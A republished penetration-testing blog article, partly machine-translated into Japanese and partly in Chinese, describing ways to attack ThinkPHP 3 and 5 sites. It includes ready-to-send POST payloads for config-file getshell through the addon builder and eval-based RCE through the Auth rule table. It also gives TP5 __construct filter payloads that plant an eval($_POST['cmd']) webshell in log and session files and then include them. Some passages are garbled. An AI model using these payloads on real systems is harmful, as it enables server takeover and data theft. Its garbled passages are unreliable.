ホームページ  >  記事  >  PHPフレームワーク  >  ThinkPHP のいくつかの侵入方法

ThinkPHP のいくつかの侵入方法

藏色散人
藏色散人転載
2020-12-21 09:18:115071ブラウズ

以下は thinkphp フレームワーク チュートリアル コラムで、ThinkPHP の導入方法を紹介します。困っている友人の役に立てば幸いです。

ThinkPHP は、Windows/Unix/Linux などのサーバー環境に対応できる、高速、互換性、シンプルで軽量な国産 PHP 開発フレームワークです 正式版では PHP5.0 以降が必要で、MySql、PgSQL、Sqlite 各種をサポートしていますデータベースと PDO 拡張機能。

実行時ログ

ThinkPHP3 バージョンでは、エントリ ファイルindex.php はアプリケーション ディレクトリおよびフレームワーク ディレクトリと同じディレクトリにあり、DEBUG が有効になっています。次に、実行時にログ ファイルが生成され、バックエンドにログインする一部の管理者のアカウントとパスワードが漏洩します。 tp3 のログ ファイルの命名規則は次のとおりです。 ルート ディレクトリ (またはアプリケーション ディレクトリ)/Runtime/Logs/Admin/20_08_17.log (year_month_day.log の上 2 桁)

ThinkPHP のいくつかの侵入方法

tp5 バージョンでは、エントリ ファイルのインデックスはアプリケーション ディレクトリやフレームワーク ディレクトリとは異なるパブリック ディレクトリにありますが、管理者によってはエントリ ファイルをアプリケーション ディレクトリに配置する場合があります。フレームワーク ディレクトリは同じディレクトリであり、tp5 の命名規則は次のとおりです。

#./runtime/log/202008/17.log (./runtime/log/yearmonth/day.log)

ThinkPHP のいくつかの侵入方法

file_put_contents function

ThinkPHP3 では、バックグラウンドで getshell に設定ファイルが書き込まれることがあるので、これを探すことが多いです。 file_put_contents 関数をグローバルに実行し、インターネット上で監査用のコード (TP3 によって開発されたバージョン) を検索し、バックグラウンドでファイルを書き込むことでシェルを取得できます。 file_put_contents 関数をグローバルに検索し、コントローラー AddonsController.class.php にビルドが存在することを確認します。

ThinkPHP のいくつかの侵入方法

ファイルを書き込む場所が 2 つあることがわかりました。最初の場所は次の条件を満たす必要があります:

$addon_dir可控,$data可控,$addonModel可控

2 番目の条件を満たす必要があります:

$data['has_config'] == 1,$addon_dir可控

トレースの結果、$data はグローバル POST から取得され、すべてが制御可能、つまり $addon_dir が制御可能であることがわかりました。

ThinkPHP のいくつかの侵入方法

次のようにペイロードを構築し、バックグラウンドで拡張機能を作成します。

ThinkPHP のいくつかの侵入方法

[OK] をクリックしてパケットをキャプチャします。まず、識別名を持つプラグインが存在するかどうかを確認します。存在しない場合は、ビルドアクセスが実行されます。

ThinkPHP のいくつかの侵入方法

ファイル config.php に書き込む必要があるため、$data['has_config'] == 1 が必要で、最後にペイロードが必要です。構築されています。

アクセス:index.php?s=/Admin/Addons/build.html

POST 送信:

info%5Bname%5D=Example&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B0&info%5Bstatus%5D=1&config=%3C%3Fphp%0D%0Areturn+array(%0D%0A%09&#39;random&#39;%3D%3Earray(%2F%2F%E9%85%8D%E7%BD%AE%E5%9C%A8%E8%A1%A8%E5%8D%95%E4%B8%AD%E7%9A%84%E9%94%AE%E5%90%8D+%2C%E8%BF%99%E4%B8%AA%E4%BC%9A%E6%98%AFconfig%5Brandom%5D%0D%0A%09%09&#39;title&#39;%3D%3E&#39;%E6%98%AF%E5%90%A6%E5%BC%80%E5%90%AF%E9%9A%8F%E6%9C%BA%3A&#39;%2C%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E6%96%87%E5%AD%97%0D%0A%09%09&#39;type&#39;%3D%3E&#39;radio&#39;%2C%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E7%B1%BB%E5%9E%8B%EF%BC%9Atext%E3%80%81textarea%E3%80%81checkbox%E3%80%81radio%E3%80%81select%E7%AD%89%0D%0A%09%09&#39;options&#39;%3D%3Earray(%09%09+%2F%2Fselect+%E5%92%8Cradion%E3%80%81checkbox%E7%9A%84%E5%AD%90%E9%80%89%E9%A1%B9%0D%0A%09%09%09&#39;1&#39;%3D%3E&#39;%E5%BC%80%E5%90%AF&#39;%2C%09%09+%2F%2F%E5%80%BC%3D%3E%E6%96%87%E5%AD%97%0D%0A%09%09%09&#39;0&#39;%3D%3E&#39;%E5%85%B3%E9%97%AD&#39;%2C%0D%0A%09%09)%2C%0D%0A%09%09&#39;value&#39;%3D%3E&#39;1&#39;%2C%09%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E9%BB%98%E8%AE%A4%E5%80%BC%0D%0A%09)%2C%0D%0A)%3B%0D%0A%09%09%09%09%09&custom_config=&admin_list=&#39;model&#39;%3D%3E&#39;Example&#39;%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09&#39;fields&#39;%3D%3E&#39;*&#39;%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09&#39;map&#39;%3D%3E&#39;&#39;%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09&#39;order&#39;%3D%3E&#39;id+desc&#39;%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09&#39;list_grid&#39;%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++&#39;cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2&#39;%2C%0D%0A++++++++++++++++&#39;title%3A%E4%B9%A6%E5%90%8D&#39;%2C%0D%0A++++++++++++++++&#39;description%3A%E6%8F%8F%E8%BF%B0&#39;%2C%0D%0A++++++++++++++++&#39;link_id%7Cget_link%3A%E5%A4%96%E9%93%BE&#39;%2C%0D%0A++++++++++++++++&#39;update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4&#39;%2C%0D%0A++++++++++++++++&#39;id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4&#39;%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1&config=<?php phpinfo();?>

config.php ファイルの書き込みに成功し、Addons/Example にアクセスします。 /config.php.

ThinkPHP のいくつかの侵入方法

したがって、tp3 によって開発されたソース コードでは、file_put_contents をグローバルに検索することで賞を獲得するのは簡単です。

Auth による RCE

tp3 では、Auth の getAuthList メソッドに eval 関数があり、次のコードを実行します。

ThinkPHP\Library\ \ Auth.class.php を考えてください。

ThinkPHP のいくつかの侵入方法

$command 変数が制御可能であり、$command が [table prefix]_auth_rule の条件フィールドである、またはyershop ソース コードを使用して分析します。アクセス許可を制御するテーブルは yershop_auth_rule です。

ThinkPHP のいくつかの侵入方法

したがって、脆弱性をトリガーするには、条件フィールドに悪意のあるコードを書き込む必要があり、インジェクションを使用し、それを記述するために PDO をサポートする必要があります。 tp3 は pdo に基づいています。データベースに接続するには、pdo はここで満たされるため、getshell への注入ポイントを見つける必要があります。

ファイル Application\Home\Controller\OrderController.class.php の詳細メソッドで、I メソッドを通じて id パラメーターを取得します。

ThinkPHP のいくつかの侵入方法

 

利用pdo修改condition字段

ThinkPHP のいくつかの侵入方法

 

继续分析,怎么调用到getAuthList这个方法的,在Application\Admin\Controller\AdminController.class.php控制器中,调用了checkRule方法,在checkRule方法实列了Auth类,并调用了check方法。

ThinkPHP のいくつかの侵入方法

 

跟进check方法:

ThinkPHP のいくつかの侵入方法

 

在104行调用了我们的getAuthList方法,执行到了eval函数处。要触发rce,从代码中可以看到需要普通用户的权限才会执行到checkRule方法,所以先添加一个新用户并新增一个用户组,给文章管理的权限。

ThinkPHP のいくつかの侵入方法

 

登录这个用户,访问注入修改的路由,成功rce。

ThinkPHP のいくつかの侵入方法

 

SQL注入

在TP3.1.3和TP3.2.3注入都差不多,无非就表达式注入,bind注入,find/select/delete注入,order注入,在之前的文章中,分析过关于tp3.2.3的注入,这里主要是TP5的注入。

ThinkPHP8b378709636b7f3a39d36da6380d0875builder->update

ThinkPHP のいくつかの侵入方法

 

在parseData方法中,进行了sql语句的拼接。

ThinkPHP のいくつかの侵入方法

 

当参数传入数组的时候,下标0为exp时候,直接返回下标为1的参数值,而为inc或者dec时候,通过parseKey方法处理了下标为1的参数值,跟进查看parseKey方法:

protected function parseKey($key, $options = [])
    {
        $key = trim($key);
        if (strpos($key, &#39;$.&#39;) && false === strpos($key, &#39;(&#39;)) {
            // JSON字段支持
            list($field, $name) = explode(&#39;$.&#39;, $key);
            $key                = &#39;json_extract(&#39; . $field . &#39;, \&#39;$.&#39; . $name . &#39;\&#39;)&#39;;
        } elseif (strpos($key, &#39;.&#39;) && !preg_match(&#39;/[,\&#39;\"\(\)`\s]/&#39;, $key)) {
            list($table, $key) = explode(&#39;.&#39;, $key, 2);
            if (&#39;__TABLE__&#39; == $table) {
                $table = $this->query->getTable();
            }
            if (isset($options[&#39;alias&#39;][$table])) {
                $table = $options[&#39;alias&#39;][$table];
            }
        }
        if (!preg_match(&#39;/[,\&#39;\"\*\(\)`.\s]/&#39;, $key)) {
            $key = &#39;`&#39; . $key . &#39;`&#39;;
        }
        if (isset($table)) {
            if (strpos($table, &#39;.&#39;)) {
                $table = str_replace(&#39;.&#39;, &#39;`.`&#39;, $table);
            }
            $key = &#39;`&#39; . $table . &#39;`.&#39; . $key;
        }
        return $key;
    }

然而parseKey并没有对传入的字符进行任何过滤,所以当输入exp,inc,dec,都返回的字符串,为什么参数值为exp的时候不能产生注入,原因是在用input方法传入的时候,要经过filterExp进行过滤。

public function filterExp(&$value)
    {
        // 过滤查询特殊字符
        if (is_string($value) && preg_match(&#39;/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i&#39;, $value)) {
            $value .= &#39; &#39;;
        }
        // TODO 其他安全过滤
    }

当匹配到exp的时候,就会在exp后面添加一个空格,导致不能同parseKey方法中的exp相等。同样,利用insert方法向数据库插入数据也是同种原理。由于篇幅问题,网上的分析文章也多,之后的注入不想再造轮子了,可以详细看这个师傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln

TP5 rce漏洞

TP5的rce漏洞影响版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1

TP5rce的分析网上也比较多了,这里主要说下在TP渗透,php7版本的关于log文件和session文件包含的问题。

runtime文件包含拿shell

先写入一句话到runtime日志中,POST发送。

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST[&#39;cmd&#39;])?>

runtime的日志文件为./runtime/log/202008/17.log

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();

ThinkPHP のいくつかの侵入方法

 

session文件包含拿shell

写入session文件

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST[&#39;cmd&#39;])?>&server[]=1

一般linux下的session文件存储在/var/lib/php/session,session的命名为sess_[PHPSESSID]。

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();

ThinkPHP のいくつかの侵入方法

 

其实也可以用反序列化的点来,只是有点麻烦,需要去调代码。

_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化

反序列化

反序列化点通常都是在代码审计当中被发现的,当unserialize可控时可以触发,但是只光靠unserialize可控很难找到可控点,这时安全研究员Sam Thomas分享了一个关于phar反序列的漏洞,大大增加了反序列化的利用点。由于TP5-6的反序列化分析篇幅比较大,可以直接看下面文章进行深度学习:

Thinkphp5.0.24反序列:https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Thinkphp5.1.x反序列:https://jfanx1ng.github.io/2020/05/09/ThinkPHP5.1.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
Thinkphp6.x反序列:https://jfanx1ng.github.io/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

phar反序列化挖掘案列:https://bbs.ichunqiu.com/thread-57947-1-1.html

今天的文章分享,小伙伴们看懂了吗?

以上がThinkPHP のいくつかの侵入方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcnblogs.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。